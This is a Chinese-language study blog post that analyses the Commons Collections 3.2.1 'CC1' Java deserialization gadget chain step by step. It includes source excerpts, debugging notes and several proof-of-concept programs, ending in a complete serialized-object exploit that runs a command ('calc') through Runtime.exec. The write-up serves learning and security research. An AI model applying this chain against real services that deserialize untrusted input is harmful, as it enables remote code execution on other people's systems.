CC(Commons Collections库的缩写)
作用:增强了java原生的一些集合类(数组,map,list,queue)
绘图工具:
https://www.processon.com/

构造反序列化链子的时候
尽量找集合类型
因为集合(数组之类的)可以接收任意类型对象,更方便构造
环境搭建:
CC库版本:3.2.1(maven配置一下即可)
JDK版本:JDK8u76(因为漏洞在8u71就已经修复了)
还有OpenJDK对应版本的源码
因为有些java包(比如sun)是没有.java文件的,全是.class
如果没有jdk源码,分析的时候只能看到idea反编译的代码,而不是源代码,变量名全是var开头,很难分析
下载好OpenJDK源码,找到sun目录
将其拷贝到JDK根目录下的src目录内
CC1的入口点:
Transformer类:接收一个对象,并且调用其实现的transformer方法
public interface Transformer{
public Object transform(Object input)
}

查找哪些类实现了transformer方法
可以发现有很多
看看它们的具体实现
比如NOPTransformer

实现了Transformer接口
可以看到,它的transform方法,啥都没做,原样返回
还有ConstantTransformer

它的transform返回了一个iConstant常量(不管接收啥都返回一样的东西)
还有一个ChainedTransformer
接收一个数组

遍历其中的每一个对象并且调用其transform
并且形成链式调用(前一个的输出等于后一个的输入)
以及CC1的重点:invokerTransformer

它的transform则是接收一个对象,然后反射调用方法
且iMethodName, iParamTypes,iArgs三大参数均在该类的构造方法中,由用户传入,分别对应方法名,参数类型,参数值
那么就形成了任意方法调用(transform可以传任意对象,构造函数传任意方法)
普通反射写法调用runtime
Runtime r =Runtime.getRuntime();
Class c = Runtime.class
Method execMethod = c.getmethod("exec",String.class)
execMethod.invoke(r,"calc")
invokerTransformer写法调用runtime
Runtime r = runtime.getruntime
InvokerTransformer iv = new invokerTransformer("exec",{String.class}, new Object[]{"calc"}).transform(r);
来到思维导图

先分析一遍重写的eadObject
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch (IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
首先是调用了默认的readObject
然后获取注解类型annotationType
作用不大,直接往下走了
走到for,发现之前我们自行写的增强for遍历map,在这里已经实现了,也就是说不用我们自己写
接下来重点:
判断memberType是否为空,以及memberType.isInstance(value)是否为True
为空则不进入if直接跳出,结束运行
显然,setValue是在if内的,我们需要进入if
memberType来源于annotationType.memberTypes()的返回
也就是说和注解有关(注解:平常写的@Overide就是注解,还有很多)
从字面意思理解
annotationType注解类型
memberTypes成员类型
也就是获取注解的成员变量类型
那么memberType.isInstance(value)也很好理解了
传入的value是不是memberType的实例
往下走来到memberValue.setValue里面
发现参数固定为AnnotationTypeMismatchExceptionProxy的对象
而我们预想的setValue是要用来调用我们设计好的链
接下来解决问题
手写一遍EXP
注意事项:这样写是错的
Runtime r = runtime.getruntime();
InvokerTransformer iv = new invokerTransformer("exec",{String.class}, new Object[]{"calc"}).transform(r);
HashMap<Object,Object> map = new HashMap<>();
//满足readObject中Target注解的value方法
map.put("value","aaa");
Map<Object,Object> transformermap = TransformedMap.decorate(map,null,InvokerTransformer);
//遍历map触发setValue方法
Class A = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = A.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class,transformermap);
serialize(o);
unserialize("POC.txt");
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("POC.txt"));
oos.writeObject(object);
oos.close();
}
//定义反序列化操作
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}
1.runtime不可序列化
2.注解怎么选
3.最终setValue如何绕过固定参数
逐个解决
runtime为什么不可序列化
因为它没继承序列化接口

什么继承了序列化接口?
Class原型类

可以通过反射runtime.class拿到runtime的原型类
通过各种反射操作,达成一样的目的
先写一遍正常情况下如何反射
Class r = Runtime.class;
Method getRuntime = r.getDeclaredMethod("getRuntime", null);
getRuntime.setAccessible(true);
Runtime runtime = (Runtime) getRuntime.invoke(r,null);
Method getExec = r.getDeclaredMethod("exec", String.class);
getExec.setAccessible(true);
getExec.invoke(runtime,"calc");
如上所示
换成invokerTransformer写法
我们从invokerTransformer的源代码可以看出,一个对象只能执行一次反射,那么就得创建多个
Method getRuntimeMethod = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
它们有个特点:
都得调用transform
且上一步的返回值
作为了下一步的参数
这里可以用到文章最开头的ChainedTransformer

传入一个数组
然后ChainedTransformer的transform会对数组内的对象进行递归调用
此时执行成功,证明runtime已经可序列化了
代入原poc,把之前的
Map<Object, Object> transformermap = TransformedMap.decorate(map, null, InvokerTransformer);
换成
Map<Object, Object> transformermap = TransformedMap.decorate(map, null, chainedTransformer);
接下来解决第二个问题,注解咋选
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
class MyPOC{
public static void main(String[] args) throws Exception {
/* Class c = Runtime.class;
Method getRuntime = c.getMethod("getRuntime",null);
Runtime r = (Runtime) getRuntime.invoke(null,null);
Method exec = c.getMethod("exec",String.class);
exec.invoke(r,"calc");*/
/* Class c = Runtime.class;
Method getRuntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);*/
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(Runtime.class);
HashMap<Object, Object> map = new HashMap<>();
map.put("key123","value123");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class,transformedMap);
serialize(o);
unserialize("POC.bin");
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("POC.bin"));
oos.writeObject(object);
oos.close();
}
//定义反序列化操作
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}}
当前poc长这样

运行也不会弹计算器
深入调试一下
前面的都通了,研究AnnotationInvocationHandler就行
这是它的readObject

这是它的构造方法

构造方法需要传两个参数,第一个是Annotation类型的对象,Annotation就是Java中常用的注解(比如Override)
第二个参数是memberValues,接收一个map
看一下readObject

首先获取注解类型
annotationType = AnnotationType.getInstance(type);
然后获取注解的所有成员
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
接下来对我们刚才传入的第二个参数(memberValues)做了个for循环遍历

循环体内首先执行
String name = memberValue.getKey();
取得每一个map键值对的键并且赋值给name
然后下一步
Class<?> memberType = memberTypes.get(name);
memberTypes对应注解的所有成员
通过get从中获取名字为name的,也就是我们刚才获取的键名
接下来进入校验

判断memberType是否为空,如果不为空则进入代码块
我们当前传入的map,只有一个键值对,分别是key123和value123
获取的name是取键名,也就是key123
然后去注解成员里面找有没有叫做key123的成员,明显没有

空的,一个成员都没,更别说对应名字了
所以当前memberType是空的
进不到循环,直接退出
因此我们需要找一个有成员的注解

在Override里面可以看到
还有两个注解

在Target注解中发现它有成员value(这是成员,不是函数)
那么很明显了,我们传的注解是Target,然后要把map的键名改为"value"
这样就能通过if的检查了

在内层if打断点,就可以判断代码有没有走进去了

断下来了,说明成功

在内层if的代码块里面再打断点,就可以判断出是不是真的走到最内层了

成功断点,走到最内层了
接下来进入最后一步
readObject里面的setValue固定了对象为
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
我们修改不了它去执行恶意方法
在最开始我们有看到一个ConstantTransform的transform方法
不管如何操作,它都返回一个不变的常量,会不会和这个有关呢
结合ChainedTransformer的递归调用性质:上一个的transform返回值会作为下一个transform的参数
假如我最开始手动让ConstantTransform返回Runtime.class
然后是getRuntime实例…一系列操作
完成链式调用,这条链就已经走通了
后感:这条链子是我审的时间最长的一条链了,确实难审,好不容易把它啃完的,学到了挺多,接下来准备继续CC6,再接再厉,在此感谢"白日梦组长"师傅的讲解
后面有篇小碎稿也放出来吧,就当放个屁
(接下来的话全是放屁,听个响就好)
卧槽了老铁,怎么就CC链了
算是完整的一条正式链了吧
这次先初审,后面还有进阶
因为urldns就一点点,然后fastjson又是另外一种序列化方式
CC1是原生的readObject反序列化
跟着文章复现一遍
参考文章:
https://xz.aliyun.com/news/12115
https://www.freebuf.com/articles/web/383152.html
反序列化的挖掘一般是从出口(利用点)进行分析
先找利用点
CC1链的源头就是Commons Collections库中的Tranformer接口,这个接口里面有个transform方法

找实现这个接口的类
这里选择InvokerTransformer
原因:刚开始接触,先跟着文章走,到后面再尝试更换其他的
InvokerTransformer重写了transform方法

public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
分析一下重写后的transform
if分支判断参数是否为空,为空返回null然后终止
不为空进入else分支
看try代码块的内容,catch都是抛出异常,对于目前来说,作用不大
try代码块的内容,经典的反射调用:
cls获取传入参数(类型是Object)的原型类(对象对应的类)
method获取类的指定方法
最后在return时通过invoke调用参数对象的指定方法
method参数有iMethodName和iParamTypes,很明显不是由这个方法传入的,看一下构造方法
就在上面

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
接收三个参数传入,然后给属性赋值,刚好有iMethodName和iParamTypes
分析一下参数作用:
methodName:方法名,调用什么方法
Class[] paramTypes:参数类型,该方法需要什么类型的参数
Object[] args:参数值
那么很明显了,通过构造方法,传入对应参数,然后调用transform方法即可触发对应方法的调用
可以通过Runtime类进行命令执行,弹出计算器
Runtime是什么就不细说了,前面的反射章节有
直接编写poc
Runtime.getRuntime();获取一个runtime实例对象,runtime是单例模式,构造器是私有的,不能通过构造方法创建对象
利用runtime执行命令,需要用到它的exec方法
例如runtime.exec(“calc”)
即可启动一个计算器
类/对象:runtime
方法:exec
参数:calc
参数类型:字符串(String)
都有了,按照刚才的分析,往构造方法和transform传参即可
构造方法:
methodName方法名:exec
Class[] paramTypes参数类型:String.class
为什么不是String,因为该形参预期接收一个Class类型的数组,因此我们要创建一个Class类型数组,里面放一个String的原型类
Object[] args参数值:new Object[]{“calc”},理由同上
import org.apache.commons.collections.functors.InvokerTransformer;
public class POC1 {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);
}
}
transform方法
获取一个runtime实例
传入即可,执行,程序先调用构造方法创建对象,给iMethodName和iParamTypes赋值,然后调用transform的invoke,执行runtime实例的exec方法,参数为calc

弹计算器了
代表成功执行,找到了最终的利用点,接下来往上推,直到找到一个重写了readObject的类
继续找,哪个类调用了transform方法
在TransformedMap::checkSetValue
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
仔细看,如果valueTransformer可控,我们就可以调用对应的方法
但是它是protected属性的,不能被外部访问,想想办法
这里可以发现TransformedMap::decorate方法实例化了TransformedMap对象,而且这个方法是public的
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
提取相关的方法
构造方法
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;//valueTransformer在这里被赋值
}
decorate方法
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
checksetvalue方法
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
接下来构造链子
Runtime runtime = Runtime.getRuntime();
// 反射获取InvokerTransformer
Class c = Class.forName("org.apache.commons.collections.functors.InvokerTransformer");
Constructor constructor = c.getDeclaredConstructor(String.class, Class[].class, Object[].class);
InvokerTransformer invokerTransformer = (InvokerTransformer) constructor.newInstance("exec", new Class[]{String.class}, new Object[]{"calc"});
// 调用decorate方法
Class c2 = Class.forName("org.apache.commons.collections.map.TransformedMap");// 反射获取TransformedMap类
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> tm = TransformedMap.decorate(map, null, invokerTransformer);
Method m = c2.getDeclaredMethod("checkSetValue", Object.class);
m.setAccessible(true);
m.invoke(tm, runtime);
逻辑推理:
出口是InvokerTransformer::transform可以调用传入对象的方法
方法的参数类型,参数值由InvokerTransformer的构造方法控制
其构造方法为public公有,直接传入即可
向上寻找调用了transform方法的类,找到TransformedMap::checkSetValue返回了一个return valueTransformer.transform(value);的结果
但是该方法受保护(protected)且valueTransformer属性也是protected的
查找有没有什么方法将TransformedMap实例化,从而找出了decorate方法
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
发现是public
那么我们可以控制传入InvokerTransformer对象作为valueTransformer
获取到TransformedMap实例后,调用checkSetValue,触发valueTransformer.transform(value);
也就是InvokerTransformer.transform(value)
value值是checkSetValue的参数
此时的利用链
TransformedMap::decorate()->TransformedMap::checkSetValue()->InvokerTransformer::transform()
往上找checkSetValue的用法,看哪里调用了它

只有一个MapEntry类里面的setValue调用了
可以直接打POC,但是看wanth3f1ag师傅的文章,这里存在一个技巧,研究研究
大概就是遍历map就会触发setValue()调用
仔细研究一下
全网翻遍,这个师傅讲的比较详细一些
首先,enTry是map中的一组键值对
调用了setValue()的MapEntry类其实是AbstractInputCheckedMapDecorator类的静态内部类
而AbstractInputCheckedMapDecorator是TransformedMap的父类
MapEntry的setValue中又调用了this.parent 的 checkSetValue 方法
parent是一个MapEntry的私有属性,类型是AbstractInputCheckedMapDecorator
也就是说,它的实际值其实就是AbstractInputCheckedMapDecorator的对象
注意!AbstractInputCheckedMapDecorator是TransformedMap的父类
那TransformedMap的对象,也可以被parent接收(父类接收子类,java的多态特性)
也就是说,把TransformedMap的对象赋值给parent,那么就可以直接调用TransformedMap的checkSetValue
但是parent在MapEntry是私有的属性,且MapEntry构造方法私有
找找有没有方法
可以发现在EntrySetIterator这个静态内部类中的next方法调用了MapEntry的构造方法,且next方法是public
看EntrySetIterator的构造方法,protected的,不能直接调用
继续往上找
在隔壁的静态内部类 EntrySet 中调用了 EntrySetIterator 的构造方法
EntrySet 的 iterator 方法调用了 EntrySetIterator 的构造方法,同理,在哪里获得 EntrySet 对象呢
再往上找
AbstractInputCheckedMapDecorator 类的 public 方法 entrySet 调用了 EntrySet 的构造方法
这里解释一些英文单词,方便接下来的理解
Abstract抽象的
Decorator装饰/修饰
Entry键值对
iterator迭代(器)
先明确我们的目标:调用MapEntry类里面的setValue
MapEntry::setValue
--|EntrySetIterator::next(获取MapEntry对象)
--|EntrySet::iterator(获取EntrySetIterator对象)
--|AbstractInputCheckedMapDecorator::EntrySet(获取EntrySet对象)
这里用到一个增强for循环遍历map的技巧
for (Map.Entry<String, Integer> entry : map.entrySet())
entrySet获取map对象的所有键值对
然后entry接收它们(每次循环接收一个)
上面的代码其实底层是这样的
Iterator<Map.Entry<String, Integer>> iterator = map.entrySet().iterator();
while (iterator.hasNext()) {
Map.Entry<String, Integer> entry = iterator.next();
// 循环体内的代码
}
iterator()用于获取一个迭代器对象
hasNext()判断是否还有下一个键值对
有则进行赋值
**那么,**如果将 map 赋值为 AbstractInputCheckedMapDecorator 抽象类的子类,
那么调用 map.entrySet() 方法时,实际上调用的是 AbstractInputCheckedMapDecorator 抽象类中实现的 entrySet() 方法,这个 entrySet() 方法会返回一个 EntrySet 对象

parent指向this,也就是TransformedMap(一个键值对)
那么,map.entrySet().iterator() 实际上调用的是 EntrySet 对象的 iterator 方法,而这个方法返回的是一个 EntrySetIterator 对象
那么在接下来的 while 循环中调用的 iterator.next() 方法其实就是 EntrySetIterator 对象的 next() 方法,这个方法会调用 MapEntry 的构造方法,返回一个 MapEntry 对象,
最终
for (Map.Entry<String, Integer> entry : map.entrySet())
这个增强 for 获取到的 entry 就是一个 MapEntry 对象
那么我们只需要手动调用setValue即可
写poc
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class POC3 {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer =
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});//获取一个invokerTransformer对象
HashMap<Object, Object> map = new HashMap<>();//创建一个Hashmap用于填写参数
map.put("a", "b");//放一组键值对进去
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
for (Map.Entry<Object, Object> entry : transformedMap.entrySet()) {
entry.setValue(runtime);
}
}
}
transformedMap子类没有定义entrySet,但是父类定义了,所以是调用父类的
setValue传入runtime,runtime会在内部传递给parent的checkSetValue调用
继续往上找setValue
见鬼了找不到
可能环境没搭好(我没导入openjdk的源码),在AnnotationInvocationHandler::readObject()中

找到readObject了!
这就是反序列化的入口点
找这个类的构造方法

第一个参数是Class,它继承了Annotation,Annotation在java里是注解。即@Override,第二个参数是Map类型的,那我们可以把设计好的TransformedMap传进去
这里注意第二个参数var2,也就是memberValues

这一行很眼熟,就是我们刚才进行for遍历map的内容
也就是说,我们不需要手动写遍历代码,readObject里面会自动遍历一遍
到这里就已经结束了,写一遍POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class POC {
public static void main(String[] args) throws Exception {
//实例化Runtime对象并调用exec方法执行命令
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//Map类的构建和修饰
HashMap<Object,Object> map = new HashMap<>();
//满足readObject中Target注解的value方法
map.put("value","aaa");
Map<Object,Object> transformermap = TransformedMap.decorate(map,null,chainedTransformer);
//遍历map触发setValue方法
Class A = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = A.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,transformermap);
serialize(o);
unserialize("POC.txt");
}
//定义序列化操作
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("POC.txt"));
oos.writeObject(object);
oos.close();
}
//定义反序列化操作
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}
成功弹出计算器
评论(0)
暂无评论